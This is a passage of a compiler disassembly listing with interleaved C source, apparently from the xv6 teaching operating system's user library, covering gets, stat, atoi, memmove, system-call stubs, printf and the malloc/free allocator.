481: 8d 5e 01 lea 0x1(%esi),%ebx
484: 3b 5d 0c cmp 0xc(%ebp),%ebx
487: 7c c7 jl 450 <gets+0x10>
break;
buf[i++] = c;
if(c == '\n' || c == '\r')
break;
}
buf[i] = '\0';
489: 8b 45 08 mov 0x8(%ebp),%eax
48c: c6 04 30 00 movb $0x0,(%eax,%esi,1)
return buf;
}
490: 83 c4 2c add $0x2c,%esp
493: 5b pop %ebx
494: 5e pop %esi
495: 5f pop %edi
496: 5d pop %ebp
497: c3 ret
498: 90 nop
499: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
000004a0 <stat>:
int
stat(char *n, struct stat *st)
{
4a0: 55 push %ebp
4a1: 89 e5 mov %esp,%ebp
4a3: 56 push %esi
4a4: 53 push %ebx
4a5: 83 ec 10 sub $0x10,%esp
int fd;
int r;
fd = open(n, O_RDONLY);
4a8: 8b 45 08 mov 0x8(%ebp),%eax
4ab: c7 44 24 04 00 00 00 movl $0x0,0x4(%esp)
4b2: 00
4b3: 89 04 24 mov %eax,(%esp)
4b6: e8 df 00 00 00 call 59a <open>
if(fd < 0)
4bb: 85 c0 test %eax,%eax
stat(char *n, struct stat *st)
{
int fd;
int r;
fd = open(n, O_RDONLY);
4bd: 89 c3 mov %eax,%ebx
if(fd < 0)
4bf: 78 27 js 4e8 <stat+0x48>
return -1;
r = fstat(fd, st);
4c1: 8b 45 0c mov 0xc(%ebp),%eax
4c4: 89 1c 24 mov %ebx,(%esp)
4c7: 89 44 24 04 mov %eax,0x4(%esp)
4cb: e8 e2 00 00 00 call 5b2 <fstat>
close(fd);
4d0: 89 1c 24 mov %ebx,(%esp)
int r;
fd = open(n, O_RDONLY);
if(fd < 0)
return -1;
r = fstat(fd, st);
4d3: 89 c6 mov %eax,%esi
close(fd);
4d5: e8 a8 00 00 00 call 582 <close>
return r;
4da: 89 f0 mov %esi,%eax
}
4dc: 83 c4 10 add $0x10,%esp
4df: 5b pop %ebx
4e0: 5e pop %esi
4e1: 5d pop %ebp
4e2: c3 ret
4e3: 90 nop
4e4: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
int fd;
int r;
fd = open(n, O_RDONLY);
if(fd < 0)
return -1;
4e8: b8 ff ff ff ff mov $0xffffffff,%eax
4ed: eb ed jmp 4dc <stat+0x3c>
4ef: 90 nop
000004f0 <atoi>:
return r;
}
int
atoi(const char *s)
{
4f0: 55 push %ebp
4f1: 89 e5 mov %esp,%ebp
4f3: 8b 4d 08 mov 0x8(%ebp),%ecx
4f6: 53 push %ebx
int n;
n = 0;
while('0' <= *s && *s <= '9')
4f7: 0f be 11 movsbl (%ecx),%edx
4fa: 8d 42 d0 lea -0x30(%edx),%eax
4fd: 3c 09 cmp $0x9,%al
int
atoi(const char *s)
{
int n;
n = 0;
4ff: b8 00 00 00 00 mov $0x0,%eax
while('0' <= *s && *s <= '9')
504: 77 17 ja 51d <atoi+0x2d>
506: 66 90 xchg %ax,%ax
n = n*10 + *s++ - '0';
508: 83 c1 01 add $0x1,%ecx
50b: 8d 04 80 lea (%eax,%eax,4),%eax
50e: 8d 44 42 d0 lea -0x30(%edx,%eax,2),%eax
atoi(const char *s)
{
int n;
n = 0;
while('0' <= *s && *s <= '9')
512: 0f be 11 movsbl (%ecx),%edx
515: 8d 5a d0 lea -0x30(%edx),%ebx
518: 80 fb 09 cmp $0x9,%bl
51b: 76 eb jbe 508 <atoi+0x18>
n = n*10 + *s++ - '0';
return n;
}
51d: 5b pop %ebx
51e: 5d pop %ebp
51f: c3 ret
00000520 <memmove>:
void*
memmove(void *vdst, void *vsrc, int n)
{
520: 55 push %ebp
char *dst, *src;
dst = vdst;
src = vsrc;
while(n-- > 0)
521: 31 d2 xor %edx,%edx
return n;
}
void*
memmove(void *vdst, void *vsrc, int n)
{
523: 89 e5 mov %esp,%ebp
525: 56 push %esi
526: 8b 45 08 mov 0x8(%ebp),%eax
529: 53 push %ebx
52a: 8b 5d 10 mov 0x10(%ebp),%ebx
52d: 8b 75 0c mov 0xc(%ebp),%esi
char *dst, *src;
dst = vdst;
src = vsrc;
while(n-- > 0)
530: 85 db test %ebx,%ebx
532: 7e 12 jle 546 <memmove+0x26>
534: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
*dst++ = *src++;
538: 0f b6 0c 16 movzbl (%esi,%edx,1),%ecx
53c: 88 0c 10 mov %cl,(%eax,%edx,1)
53f: 83 c2 01 add $0x1,%edx
{
char *dst, *src;
dst = vdst;
src = vsrc;
while(n-- > 0)
542: 39 da cmp %ebx,%edx
544: 75 f2 jne 538 <memmove+0x18>
*dst++ = *src++;
return vdst;
}
546: 5b pop %ebx
547: 5e pop %esi
548: 5d pop %ebp
549: c3 ret
0000054a <fork>:
name: \
movl $SYS_ ## name, %eax; \
int $T_SYSCALL; \
ret
SYSCALL(fork)
54a: b8 01 00 00 00 mov $0x1,%eax
54f: cd 40 int $0x40
551: c3 ret
00000552 <exit>:
SYSCALL(exit)
552: b8 02 00 00 00 mov $0x2,%eax
557: cd 40 int $0x40
559: c3 ret
0000055a <wait>:
SYSCALL(wait)
55a: b8 03 00 00 00 mov $0x3,%eax
55f: cd 40 int $0x40
561: c3 ret
00000562 <waitpid>:
SYSCALL(waitpid)
562: b8 16 00 00 00 mov $0x16,%eax
567: cd 40 int $0x40
569: c3 ret
0000056a <pipe>:
SYSCALL(pipe)
56a: b8 04 00 00 00 mov $0x4,%eax
56f: cd 40 int $0x40
571: c3 ret
00000572 <read>:
SYSCALL(read)
572: b8 05 00 00 00 mov $0x5,%eax
577: cd 40 int $0x40
579: c3 ret
0000057a <write>:
SYSCALL(write)
57a: b8 10 00 00 00 mov $0x10,%eax
57f: cd 40 int $0x40
581: c3 ret
00000582 <close>:
SYSCALL(close)
582: b8 15 00 00 00 mov $0x15,%eax
587: cd 40 int $0x40
589: c3 ret
0000058a <kill>:
SYSCALL(kill)
58a: b8 06 00 00 00 mov $0x6,%eax
58f: cd 40 int $0x40
591: c3 ret
00000592 <exec>:
SYSCALL(exec)
592: b8 07 00 00 00 mov $0x7,%eax
597: cd 40 int $0x40
599: c3 ret
0000059a <open>:
SYSCALL(open)
59a: b8 0f 00 00 00 mov $0xf,%eax
59f: cd 40 int $0x40
5a1: c3 ret
000005a2 <mknod>:
SYSCALL(mknod)
5a2: b8 11 00 00 00 mov $0x11,%eax
5a7: cd 40 int $0x40
5a9: c3 ret
000005aa <unlink>:
SYSCALL(unlink)
5aa: b8 12 00 00 00 mov $0x12,%eax
5af: cd 40 int $0x40
5b1: c3 ret
000005b2 <fstat>:
SYSCALL(fstat)
5b2: b8 08 00 00 00 mov $0x8,%eax
5b7: cd 40 int $0x40
5b9: c3 ret
000005ba <link>:
SYSCALL(link)
5ba: b8 13 00 00 00 mov $0x13,%eax
5bf: cd 40 int $0x40
5c1: c3 ret
000005c2 <mkdir>:
SYSCALL(mkdir)
5c2: b8 14 00 00 00 mov $0x14,%eax
5c7: cd 40 int $0x40
5c9: c3 ret
000005ca <chdir>:
SYSCALL(chdir)
5ca: b8 09 00 00 00 mov $0x9,%eax
5cf: cd 40 int $0x40
5d1: c3 ret
000005d2 <dup>:
SYSCALL(dup)
5d2: b8 0a 00 00 00 mov $0xa,%eax
5d7: cd 40 int $0x40
5d9: c3 ret
000005da <getpid>:
SYSCALL(getpid)
5da: b8 0b 00 00 00 mov $0xb,%eax
5df: cd 40 int $0x40
5e1: c3 ret
000005e2 <sbrk>:
SYSCALL(sbrk)
5e2: b8 0c 00 00 00 mov $0xc,%eax
5e7: cd 40 int $0x40
5e9: c3 ret
000005ea <sleep>:
SYSCALL(sleep)
5ea: b8 0d 00 00 00 mov $0xd,%eax
5ef: cd 40 int $0x40
5f1: c3 ret
000005f2 <uptime>:
SYSCALL(uptime)
5f2: b8 0e 00 00 00 mov $0xe,%eax
5f7: cd 40 int $0x40
5f9: c3 ret
5fa: 66 90 xchg %ax,%ax
5fc: 66 90 xchg %ax,%ax
5fe: 66 90 xchg %ax,%ax
00000600 <printint>:
write(fd, &c, 1);
}
static void
printint(int fd, int xx, int base, int sgn)
{
600: 55 push %ebp
601: 89 e5 mov %esp,%ebp
603: 57 push %edi
604: 56 push %esi
605: 89 c6 mov %eax,%esi
607: 53 push %ebx
608: 83 ec 4c sub $0x4c,%esp
char buf[16];
int i, neg;
uint x;
neg = 0;
if(sgn && xx < 0){
60b: 8b 5d 08 mov 0x8(%ebp),%ebx
60e: 85 db test %ebx,%ebx
610: 74 09 je 61b <printint+0x1b>
612: 89 d0 mov %edx,%eax
614: c1 e8 1f shr $0x1f,%eax
617: 84 c0 test %al,%al
619: 75 75 jne 690 <printint+0x90>
neg = 1;
x = -xx;
} else {
x = xx;
61b: 89 d0 mov %edx,%eax
static char digits[] = "0123456789ABCDEF";
char buf[16];
int i, neg;
uint x;
neg = 0;
61d: c7 45 c4 00 00 00 00 movl $0x0,-0x3c(%ebp)
624: 89 75 c0 mov %esi,-0x40(%ebp)
x = -xx;
} else {
x = xx;
}
i = 0;
627: 31 ff xor %edi,%edi
629: 89 ce mov %ecx,%esi
62b: 8d 5d d7 lea -0x29(%ebp),%ebx
62e: eb 02 jmp 632 <printint+0x32>
do{
buf[i++] = digits[x % base];
630: 89 cf mov %ecx,%edi
632: 31 d2 xor %edx,%edx
634: f7 f6 div %esi
636: 8d 4f 01 lea 0x1(%edi),%ecx
639: 0f b6 92 45 0a 00 00 movzbl 0xa45(%edx),%edx
}while((x /= base) != 0);
640: 85 c0 test %eax,%eax
x = xx;
}
i = 0;
do{
buf[i++] = digits[x % base];
642: 88 14 0b mov %dl,(%ebx,%ecx,1)
}while((x /= base) != 0);
645: 75 e9 jne 630 <printint+0x30>
if(neg)
647: 8b 55 c4 mov -0x3c(%ebp),%edx
x = xx;
}
i = 0;
do{
buf[i++] = digits[x % base];
64a: 89 c8 mov %ecx,%eax
64c: 8b 75 c0 mov -0x40(%ebp),%esi
}while((x /= base) != 0);
if(neg)
64f: 85 d2 test %edx,%edx
651: 74 08 je 65b <printint+0x5b>
buf[i++] = '-';
653: 8d 4f 02 lea 0x2(%edi),%ecx
656: c6 44 05 d8 2d movb $0x2d,-0x28(%ebp,%eax,1)
while(--i >= 0)
65b: 8d 79 ff lea -0x1(%ecx),%edi
65e: 66 90 xchg %ax,%ax
660: 0f b6 44 3d d8 movzbl -0x28(%ebp,%edi,1),%eax
665: 83 ef 01 sub $0x1,%edi
#include "user.h"
static void
putc(int fd, char c)
{
write(fd, &c, 1);
668: c7 44 24 08 01 00 00 movl $0x1,0x8(%esp)
66f: 00
670: 89 5c 24 04 mov %ebx,0x4(%esp)
674: 89 34 24 mov %esi,(%esp)
677: 88 45 d7 mov %al,-0x29(%ebp)
67a: e8 fb fe ff ff call 57a <write>
buf[i++] = digits[x % base];
}while((x /= base) != 0);
if(neg)
buf[i++] = '-';
while(--i >= 0)
67f: 83 ff ff cmp $0xffffffff,%edi
682: 75 dc jne 660 <printint+0x60>
putc(fd, buf[i]);
}
684: 83 c4 4c add $0x4c,%esp
687: 5b pop %ebx
688: 5e pop %esi
689: 5f pop %edi
68a: 5d pop %ebp
68b: c3 ret
68c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
uint x;
neg = 0;
if(sgn && xx < 0){
neg = 1;
x = -xx;
690: 89 d0 mov %edx,%eax
692: f7 d8 neg %eax
int i, neg;
uint x;
neg = 0;
if(sgn && xx < 0){
neg = 1;
694: c7 45 c4 01 00 00 00 movl $0x1,-0x3c(%ebp)
69b: eb 87 jmp 624 <printint+0x24>
69d: 8d 76 00 lea 0x0(%esi),%esi
000006a0 <printf>:
}
// Print to the given fd. Only understands %d, %x, %p, %s.
void
printf(int fd, char *fmt, ...)
{
6a0: 55 push %ebp
6a1: 89 e5 mov %esp,%ebp
6a3: 57 push %edi
char *s;
int c, i, state;
uint *ap;
state = 0;
6a4: 31 ff xor %edi,%edi
}
// Print to the given fd. Only understands %d, %x, %p, %s.
void
printf(int fd, char *fmt, ...)
{
6a6: 56 push %esi
6a7: 53 push %ebx
6a8: 83 ec 3c sub $0x3c,%esp
int c, i, state;
uint *ap;
state = 0;
ap = (uint*)(void*)&fmt + 1;
for(i = 0; fmt[i]; i++){
6ab: 8b 5d 0c mov 0xc(%ebp),%ebx
char *s;
int c, i, state;
uint *ap;
state = 0;
ap = (uint*)(void*)&fmt + 1;
6ae: 8d 45 10 lea 0x10(%ebp),%eax
}
// Print to the given fd. Only understands %d, %x, %p, %s.
void
printf(int fd, char *fmt, ...)
{
6b1: 8b 75 08 mov 0x8(%ebp),%esi
char *s;
int c, i, state;
uint *ap;
state = 0;
ap = (uint*)(void*)&fmt + 1;
6b4: 89 45 d4 mov %eax,-0x2c(%ebp)
for(i = 0; fmt[i]; i++){
6b7: 0f b6 13 movzbl (%ebx),%edx
6ba: 83 c3 01 add $0x1,%ebx
6bd: 84 d2 test %dl,%dl
6bf: 75 39 jne 6fa <printf+0x5a>
6c1: e9 c2 00 00 00 jmp 788 <printf+0xe8>
6c6: 66 90 xchg %ax,%ax
c = fmt[i] & 0xff;
if(state == 0){
if(c == '%'){
6c8: 83 fa 25 cmp $0x25,%edx
6cb: 0f 84 bf 00 00 00 je 790 <printf+0xf0>
#include "user.h"
static void
putc(int fd, char c)
{
write(fd, &c, 1);
6d1: 8d 45 e2 lea -0x1e(%ebp),%eax
6d4: c7 44 24 08 01 00 00 movl $0x1,0x8(%esp)
6db: 00
6dc: 89 44 24 04 mov %eax,0x4(%esp)
6e0: 89 34 24 mov %esi,(%esp)
c = fmt[i] & 0xff;
if(state == 0){
if(c == '%'){
state = '%';
} else {
putc(fd, c);
6e3: 88 55 e2 mov %dl,-0x1e(%ebp)
#include "user.h"
static void
putc(int fd, char c)
{
write(fd, &c, 1);
6e6: e8 8f fe ff ff call 57a <write>
6eb: 83 c3 01 add $0x1,%ebx
int c, i, state;
uint *ap;
state = 0;
ap = (uint*)(void*)&fmt + 1;
for(i = 0; fmt[i]; i++){
6ee: 0f b6 53 ff movzbl -0x1(%ebx),%edx
6f2: 84 d2 test %dl,%dl
6f4: 0f 84 8e 00 00 00 je 788 <printf+0xe8>
c = fmt[i] & 0xff;
if(state == 0){
6fa: 85 ff test %edi,%edi
uint *ap;
state = 0;
ap = (uint*)(void*)&fmt + 1;
for(i = 0; fmt[i]; i++){
c = fmt[i] & 0xff;
6fc: 0f be c2 movsbl %dl,%eax
if(state == 0){
6ff: 74 c7 je 6c8 <printf+0x28>
if(c == '%'){
state = '%';
} else {
putc(fd, c);
}
} else if(state == '%'){
701: 83 ff 25 cmp $0x25,%edi
704: 75 e5 jne 6eb <printf+0x4b>
if(c == 'd'){
706: 83 fa 64 cmp $0x64,%edx
709: 0f 84 31 01 00 00 je 840 <printf+0x1a0>
printint(fd, *ap, 10, 1);
ap++;
} else if(c == 'x' || c == 'p'){
70f: 25 f7 00 00 00 and $0xf7,%eax
714: 83 f8 70 cmp $0x70,%eax
717: 0f 84 83 00 00 00 je 7a0 <printf+0x100>
printint(fd, *ap, 16, 0);
ap++;
} else if(c == 's'){
71d: 83 fa 73 cmp $0x73,%edx
720: 0f 84 a2 00 00 00 je 7c8 <printf+0x128>
s = "(null)";
while(*s != 0){
putc(fd, *s);
s++;
}
} else if(c == 'c'){
726: 83 fa 63 cmp $0x63,%edx
729: 0f 84 35 01 00 00 je 864 <printf+0x1c4>
putc(fd, *ap);
ap++;
} else if(c == '%'){
72f: 83 fa 25 cmp $0x25,%edx
732: 0f 84 e0 00 00 00 je 818 <printf+0x178>
#include "user.h"
static void
putc(int fd, char c)
{
write(fd, &c, 1);
738: 8d 45 e6 lea -0x1a(%ebp),%eax
73b: 83 c3 01 add $0x1,%ebx
73e: c7 44 24 08 01 00 00 movl $0x1,0x8(%esp)
745: 00
} else {
// Unknown % sequence. Print it to draw attention.
putc(fd, '%');
putc(fd, c);
}
state = 0;
746: 31 ff xor %edi,%edi
#include "user.h"
static void
putc(int fd, char c)
{
write(fd, &c, 1);
748: 89 44 24 04 mov %eax,0x4(%esp)
74c: 89 34 24 mov %esi,(%esp)
74f: 89 55 d0 mov %edx,-0x30(%ebp)
752: c6 45 e6 25 movb $0x25,-0x1a(%ebp)
756: e8 1f fe ff ff call 57a <write>
} else if(c == '%'){
putc(fd, c);
} else {
// Unknown % sequence. Print it to draw attention.
putc(fd, '%');
putc(fd, c);
75b: 8b 55 d0 mov -0x30(%ebp),%edx
#include "user.h"
static void
putc(int fd, char c)
{
write(fd, &c, 1);
75e: 8d 45 e7 lea -0x19(%ebp),%eax
761: c7 44 24 08 01 00 00 movl $0x1,0x8(%esp)
768: 00
769: 89 44 24 04 mov %eax,0x4(%esp)
76d: 89 34 24 mov %esi,(%esp)
} else if(c == '%'){
putc(fd, c);
} else {
// Unknown % sequence. Print it to draw attention.
putc(fd, '%');
putc(fd, c);
770: 88 55 e7 mov %dl,-0x19(%ebp)
#include "user.h"
static void
putc(int fd, char c)
{
write(fd, &c, 1);
773: e8 02 fe ff ff call 57a <write>
int c, i, state;
uint *ap;
state = 0;
ap = (uint*)(void*)&fmt + 1;
for(i = 0; fmt[i]; i++){
778: 0f b6 53 ff movzbl -0x1(%ebx),%edx
77c: 84 d2 test %dl,%dl
77e: 0f 85 76 ff ff ff jne 6fa <printf+0x5a>
784: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
putc(fd, c);
}
state = 0;
}
}
}
788: 83 c4 3c add $0x3c,%esp
78b: 5b pop %ebx
78c: 5e pop %esi
78d: 5f pop %edi
78e: 5d pop %ebp
78f: c3 ret
ap = (uint*)(void*)&fmt + 1;
for(i = 0; fmt[i]; i++){
c = fmt[i] & 0xff;
if(state == 0){
if(c == '%'){
state = '%';
790: bf 25 00 00 00 mov $0x25,%edi
795: e9 51 ff ff ff jmp 6eb <printf+0x4b>
79a: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
} else if(state == '%'){
if(c == 'd'){
printint(fd, *ap, 10, 1);
ap++;
} else if(c == 'x' || c == 'p'){
printint(fd, *ap, 16, 0);
7a0: 8b 45 d4 mov -0x2c(%ebp),%eax
7a3: b9 10 00 00 00 mov $0x10,%ecx
} else {
// Unknown % sequence. Print it to draw attention.
putc(fd, '%');
putc(fd, c);
}
state = 0;
7a8: 31 ff xor %edi,%edi
} else if(state == '%'){
if(c == 'd'){
printint(fd, *ap, 10, 1);
ap++;
} else if(c == 'x' || c == 'p'){
printint(fd, *ap, 16, 0);
7aa: c7 04 24 00 00 00 00 movl $0x0,(%esp)
7b1: 8b 10 mov (%eax),%edx
7b3: 89 f0 mov %esi,%eax
7b5: e8 46 fe ff ff call 600 <printint>
ap++;
7ba: 83 45 d4 04 addl $0x4,-0x2c(%ebp)
7be: e9 28 ff ff ff jmp 6eb <printf+0x4b>
7c3: 90 nop
7c4: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
} else if(c == 's'){
s = (char*)*ap;
7c8: 8b 45 d4 mov -0x2c(%ebp),%eax
ap++;
7cb: 83 45 d4 04 addl $0x4,-0x2c(%ebp)
ap++;
} else if(c == 'x' || c == 'p'){
printint(fd, *ap, 16, 0);
ap++;
} else if(c == 's'){
s = (char*)*ap;
7cf: 8b 38 mov (%eax),%edi
ap++;
if(s == 0)
s = "(null)";
7d1: b8 3e 0a 00 00 mov $0xa3e,%eax
7d6: 85 ff test %edi,%edi
7d8: 0f 44 f8 cmove %eax,%edi
while(*s != 0){
7db: 0f b6 07 movzbl (%edi),%eax
7de: 84 c0 test %al,%al
7e0: 74 2a je 80c <printf+0x16c>
7e2: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
7e8: 88 45 e3 mov %al,-0x1d(%ebp)
#include "user.h"
static void
putc(int fd, char c)
{
write(fd, &c, 1);
7eb: 8d 45 e3 lea -0x1d(%ebp),%eax
ap++;
if(s == 0)
s = "(null)";
while(*s != 0){
putc(fd, *s);
s++;
7ee: 83 c7 01 add $0x1,%edi
#include "user.h"
static void
putc(int fd, char c)
{
write(fd, &c, 1);
7f1: c7 44 24 08 01 00 00 movl $0x1,0x8(%esp)
7f8: 00
7f9: 89 44 24 04 mov %eax,0x4(%esp)
7fd: 89 34 24 mov %esi,(%esp)
800: e8 75 fd ff ff call 57a <write>
} else if(c == 's'){
s = (char*)*ap;
ap++;
if(s == 0)
s = "(null)";
while(*s != 0){
805: 0f b6 07 movzbl (%edi),%eax
808: 84 c0 test %al,%al
80a: 75 dc jne 7e8 <printf+0x148>
} else {
// Unknown % sequence. Print it to draw attention.
putc(fd, '%');
putc(fd, c);
}
state = 0;
80c: 31 ff xor %edi,%edi
80e: e9 d8 fe ff ff jmp 6eb <printf+0x4b>
813: 90 nop
814: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
#include "user.h"
static void
putc(int fd, char c)
{
write(fd, &c, 1);
818: 8d 45 e5 lea -0x1b(%ebp),%eax
} else {
// Unknown % sequence. Print it to draw attention.
putc(fd, '%');
putc(fd, c);
}
state = 0;
81b: 31 ff xor %edi,%edi
#include "user.h"
static void
putc(int fd, char c)
{
write(fd, &c, 1);
81d: c7 44 24 08 01 00 00 movl $0x1,0x8(%esp)
824: 00
825: 89 44 24 04 mov %eax,0x4(%esp)
829: 89 34 24 mov %esi,(%esp)
82c: c6 45 e5 25 movb $0x25,-0x1b(%ebp)
830: e8 45 fd ff ff call 57a <write>
835: e9 b1 fe ff ff jmp 6eb <printf+0x4b>
83a: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
} else {
putc(fd, c);
}
} else if(state == '%'){
if(c == 'd'){
printint(fd, *ap, 10, 1);
840: 8b 45 d4 mov -0x2c(%ebp),%eax
843: b9 0a 00 00 00 mov $0xa,%ecx
} else {
// Unknown % sequence. Print it to draw attention.
putc(fd, '%');
putc(fd, c);
}
state = 0;
848: 66 31 ff xor %di,%di
} else {
putc(fd, c);
}
} else if(state == '%'){
if(c == 'd'){
printint(fd, *ap, 10, 1);
84b: c7 04 24 01 00 00 00 movl $0x1,(%esp)
852: 8b 10 mov (%eax),%edx
854: 89 f0 mov %esi,%eax
856: e8 a5 fd ff ff call 600 <printint>
ap++;
85b: 83 45 d4 04 addl $0x4,-0x2c(%ebp)
85f: e9 87 fe ff ff jmp 6eb <printf+0x4b>
while(*s != 0){
putc(fd, *s);
s++;
}
} else if(c == 'c'){
putc(fd, *ap);
864: 8b 45 d4 mov -0x2c(%ebp),%eax
} else {
// Unknown % sequence. Print it to draw attention.
putc(fd, '%');
putc(fd, c);
}
state = 0;
867: 31 ff xor %edi,%edi
while(*s != 0){
putc(fd, *s);
s++;
}
} else if(c == 'c'){
putc(fd, *ap);
869: 8b 00 mov (%eax),%eax
#include "user.h"
static void
putc(int fd, char c)
{
write(fd, &c, 1);
86b: c7 44 24 08 01 00 00 movl $0x1,0x8(%esp)
872: 00
873: 89 34 24 mov %esi,(%esp)
while(*s != 0){
putc(fd, *s);
s++;
}
} else if(c == 'c'){
putc(fd, *ap);
876: 88 45 e4 mov %al,-0x1c(%ebp)
#include "user.h"
static void
putc(int fd, char c)
{
write(fd, &c, 1);
879: 8d 45 e4 lea -0x1c(%ebp),%eax
87c: 89 44 24 04 mov %eax,0x4(%esp)
880: e8 f5 fc ff ff call 57a <write>
putc(fd, *s);
s++;
}
} else if(c == 'c'){
putc(fd, *ap);
ap++;
885: 83 45 d4 04 addl $0x4,-0x2c(%ebp)
889: e9 5d fe ff ff jmp 6eb <printf+0x4b>
88e: 66 90 xchg %ax,%ax
00000890 <free>:
static Header base;
static Header *freep;
void
free(void *ap)
{
890: 55 push %ebp
Header *bp, *p;
bp = (Header*)ap - 1;
for(p = freep; !(bp > p && bp < p->s.ptr); p = p->s.ptr)
891: a1 a0 0d 00 00 mov 0xda0,%eax
static Header base;
static Header *freep;
void
free(void *ap)
{
896: 89 e5 mov %esp,%ebp
898: 57 push %edi
899: 56 push %esi
89a: 53 push %ebx
89b: 8b 5d 08 mov 0x8(%ebp),%ebx
Header *bp, *p;
bp = (Header*)ap - 1;
for(p = freep; !(bp > p && bp < p->s.ptr); p = p->s.ptr)
if(p >= p->s.ptr && (bp > p || bp < p->s.ptr))
89e: 8b 08 mov (%eax),%ecx
void
free(void *ap)
{
Header *bp, *p;
bp = (Header*)ap - 1;
8a0: 8d 53 f8 lea -0x8(%ebx),%edx
for(p = freep; !(bp > p && bp < p->s.ptr); p = p->s.ptr)
8a3: 39 d0 cmp %edx,%eax
8a5: 72 11 jb 8b8 <free+0x28>
8a7: 90 nop
if(p >= p->s.ptr && (bp > p || bp < p->s.ptr))
8a8: 39 c8 cmp %ecx,%eax
8aa: 72 04 jb 8b0 <free+0x20>
8ac: 39 ca cmp %ecx,%edx
8ae: 72 10 jb 8c0 <free+0x30>
8b0: 89 c8 mov %ecx,%eax
free(void *ap)
{
Header *bp, *p;
bp = (Header*)ap - 1;
for(p = freep; !(bp > p && bp < p->s.ptr); p = p->s.ptr)
8b2: 39 d0 cmp %edx,%eax
if(p >= p->s.ptr && (bp > p || bp < p->s.ptr))
8b4: 8b 08 mov (%eax),%ecx
free(void *ap)
{
Header *bp, *p;
bp = (Header*)ap - 1;
for(p = freep; !(bp > p && bp < p->s.ptr); p = p->s.ptr)
8b6: 73 f0 jae 8a8 <free+0x18>
8b8: 39 ca cmp %ecx,%edx
8ba: 72 04 jb 8c0 <free+0x30>
if(p >= p->s.ptr && (bp > p || bp < p->s.ptr))
8bc: 39 c8 cmp %ecx,%eax
8be: 72 f0 jb 8b0 <free+0x20>
break;
if(bp + bp->s.size == p->s.ptr){
8c0: 8b 73 fc mov -0x4(%ebx),%esi
8c3: 8d 3c f2 lea (%edx,%esi,8),%edi
8c6: 39 cf cmp %ecx,%edi
8c8: 74 1e je 8e8 <free+0x58>
bp->s.size += p->s.ptr->s.size;
bp->s.ptr = p->s.ptr->s.ptr;
} else
bp->s.ptr = p->s.ptr;
8ca: 89 4b f8 mov %ecx,-0x8(%ebx)
if(p + p->s.size == bp){
8cd: 8b 48 04 mov 0x4(%eax),%ecx
8d0: 8d 34 c8 lea (%eax,%ecx,8),%esi
8d3: 39 f2 cmp %esi,%edx
8d5: 74 28 je 8ff <free+0x6f>
p->s.size += bp->s.size;
p->s.ptr = bp->s.ptr;
} else
p->s.ptr = bp;
8d7: 89 10 mov %edx,(%eax)
freep = p;
8d9: a3 a0 0d 00 00 mov %eax,0xda0
}
8de: 5b pop %ebx
8df: 5e pop %esi
8e0: 5f pop %edi
8e1: 5d pop %ebp
8e2: c3 ret
8e3: 90 nop
8e4: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
bp = (Header*)ap - 1;
for(p = freep; !(bp > p && bp < p->s.ptr); p = p->s.ptr)
if(p >= p->s.ptr && (bp > p || bp < p->s.ptr))
break;
if(bp + bp->s.size == p->s.ptr){
bp->s.size += p->s.ptr->s.size;
8e8: 03 71 04 add 0x4(%ecx),%esi
8eb: 89 73 fc mov %esi,-0x4(%ebx)
bp->s.ptr = p->s.ptr->s.ptr;
8ee: 8b 08 mov (%eax),%ecx
8f0: 8b 09 mov (%ecx),%ecx
8f2: 89 4b f8 mov %ecx,-0x8(%ebx)
} else
bp->s.ptr = p->s.ptr;
if(p + p->s.size == bp){
8f5: 8b 48 04 mov 0x4(%eax),%ecx
8f8: 8d 34 c8 lea (%eax,%ecx,8),%esi
8fb: 39 f2 cmp %esi,%edx
8fd: 75 d8 jne 8d7 <free+0x47>
p->s.size += bp->s.size;
8ff: 03 4b fc add -0x4(%ebx),%ecx
p->s.ptr = bp->s.ptr;
} else
p->s.ptr = bp;
freep = p;
902: a3 a0 0d 00 00 mov %eax,0xda0
bp->s.size += p->s.ptr->s.size;
bp->s.ptr = p->s.ptr->s.ptr;
} else
bp->s.ptr = p->s.ptr;
if(p + p->s.size == bp){
p->s.size += bp->s.size;
907: 89 48 04 mov %ecx,0x4(%eax)
p->s.ptr = bp->s.ptr;
90a: 8b 53 f8 mov -0x8(%ebx),%edx
90d: 89 10 mov %edx,(%eax)
} else
p->s.ptr = bp;
freep = p;
}
90f: 5b pop %ebx
910: 5e pop %esi
911: 5f pop %edi
912: 5d pop %ebp
913: c3 ret
914: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
91a: 8d bf 00 00 00 00 lea 0x0(%edi),%edi
00000920 <malloc>:
return freep;
}
void*
malloc(uint nbytes)
{
920: 55 push %ebp
921: 89 e5 mov %esp,%ebp
923: 57 push %edi
924: 56 push %esi
925: 53 push %ebx
926: 83 ec 1c sub $0x1c,%esp
Header *p, *prevp;
uint nunits;
nunits = (nbytes + sizeof(Header) - 1)/sizeof(Header) + 1;
929: 8b 45 08 mov 0x8(%ebp),%eax
if((prevp = freep) == 0){
92c: 8b 1d a0 0d 00 00 mov 0xda0,%ebx
malloc(uint nbytes)
{
Header *p, *prevp;
uint nunits;
nunits = (nbytes + sizeof(Header) - 1)/sizeof(Header) + 1;
932: 8d 48 07 lea 0x7(%eax),%ecx
935: c1 e9 03 shr $0x3,%ecx
if((prevp = freep) == 0){
938: 85 db test %ebx,%ebx
malloc(uint nbytes)
{
Header *p, *prevp;
uint nunits;
nunits = (nbytes + sizeof(Header) - 1)/sizeof(Header) + 1;
93a: 8d 71 01 lea 0x1(%ecx),%esi
if((prevp = freep) == 0){
93d: 0f 84 9b 00 00 00 je 9de <malloc+0xbe>
943: 8b 13 mov (%ebx),%edx
945: 8b 7a 04 mov 0x4(%edx),%edi
base.s.ptr = freep = prevp = &base;
base.s.size = 0;
}
for(p = prevp->s.ptr; ; prevp = p, p = p->s.ptr){
if(p->s.size >= nunits){
948: 39 fe cmp %edi,%esi
94a: 76 64 jbe 9b0 <malloc+0x90>
